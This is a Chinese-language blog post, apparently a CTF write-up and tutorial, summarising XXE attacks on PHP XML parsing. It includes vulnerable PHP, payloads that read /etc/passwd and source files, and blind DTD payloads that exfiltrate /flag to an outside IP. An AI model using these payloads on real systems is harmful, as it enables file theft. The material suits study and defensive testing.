MYZ's Blog.

XXE漏洞总结

字数统计: 1.1k阅读时长: 5 min
2017/11/06 Share

就先以这次校赛的例子作为开头吧

ctf

首先说一说这次的题:
这一次的题是一种回显式的xxe,但是过滤了ENTITY参数.(有点难以判别)
贴出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
libxml_disable_entity_loader(false);//这个函数原本是禁止加载外部实体,false就是允许
$user1 = $_POST['user1'];
$xmlfile = file_get_contents('php://input'); //接收xml数据
$aa = str_replace('<!ENTITY','**',$xmlfile);
$dom = new DOMDocument();
$dom->loadXML($aa, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
?>
<!DOCTYPE html>
<head>
<title>08067</title>
<meta name="description" content="slick Login">
<meta name="author" content="MRYE+">
<link rel="stylesheet" type="text/css" href="./xxe/style.css" />
<style type="text/css">
textarea{ resize:none; width:400px; height:200px;margin:10px auto;}
</style>
<script type="text/javascript" src="./xxe/jquery-latest.min.js"></script>
<script type="text/javascript" src="./xxe/placeholder.js"></script>
</head>
<body>
<form id="slick-login" action="./index.php" method="post" >
<label for="user">user</label>
<input type="text" name="user1" class="placeholder" placeholder="user ?">
<input type="submit" value="search">
<textarea name="comment" form="usrform" class="placeholder" placeholder="......"><?php echo "$user";echo "$user1";?></textarea><!-- 这里的user1接收了就打印>
<user 参数才是xml的回显-->
</form>
</body>
</html>

看到这篇漏洞报告,说明了ENTITY被过滤,可以通过DOCTYPE调用dtd文件的方式来绕过
poc:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://123.207.84.13/1.dtd">
<root>
<user>&test;</user>
</root>

1.dtd文件

1
<!ENTITY test SYSTEM "file:///etc/passwd">

这里有几个问题:
为什么我修改poc的<root><user>&test;</user></root>的标签为其他值,就没法执行。(按理说是可以的)
1.,这里<root>是xml文档的根元素,XML文档中必须要有一个根元素.这是xml的语法.这个标签的值可以随便改.
2.通过看他的源代码就知道,$user = $creds->user; $creds包含是整个传入xml的值,但是$user的值却是$creds的->user值.然后是将$user作为回显。而不是整个xml,所以这里要添加<user></user>标签

这道题还可以blind的方法,下面再总结..

无过滤的情况:

有回显:

poc

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

注: 如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=路径">]>
<root>&file;</root>

盲注:

(上面那道题也可以盲注)
本地测试:
poc:
(除非是截包改,要不然这段poc需要编码再传)

1
2
3
4
5
6
7
8
<?xml version="1.0"?>  
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///f:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">;
%remote;
%all;
]>
<root>&send;</root>

xxe.dtd:

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/2.php?file=%file;'>">;

2.php:

1
2
3
<?php  
file_put_contents("1.txt", $_GET['file']) ;
?>

test.php

1
2
3
<?php  
$data = simplexml_load_string($_GET['xml']);
?>

访问:http://127.0.0.1/test.php?xml='poc内容'
成功生成1.txt的文件,内容为f:/1.txt
注意: 本地测试的时候有些坑人的地方.如果在php5.5及以上,会默认禁用外部实体的加载.这时候访问test.php会报错.test.php内容必须是

1
$data = simplexml_load_string($_GET['xml'],'SimpleXMLElement',LIBXML_NOENT);

php5.5以下上面的代码就可以运行。

有过滤的情况:

1.后台禁用外部实体加载
2.过滤关键字

ENTITY关键字被过滤的blind(也就是上面那道ctf的另外一种解法)
poc:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://123.207.84.13/xx.dtd">;
<root>&send;
</root>

xx.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://123.207.84.13/1.php?file=%file;'>">; %all;

1.php

1
2
3
<?php  
file_put_contents("flag.txt", $_GET['file']) ;
?>

flag.txt就是读取到的内容了..
至于有过滤但是有回显的情况,就参照最开始的ctf的解析了。

CATALOG
  1. 1. ctf
  2. 2. 无过滤的情况:
    1. 2.1. 有回显:
    2. 2.2. 盲注:
  3. 3. 有过滤的情况: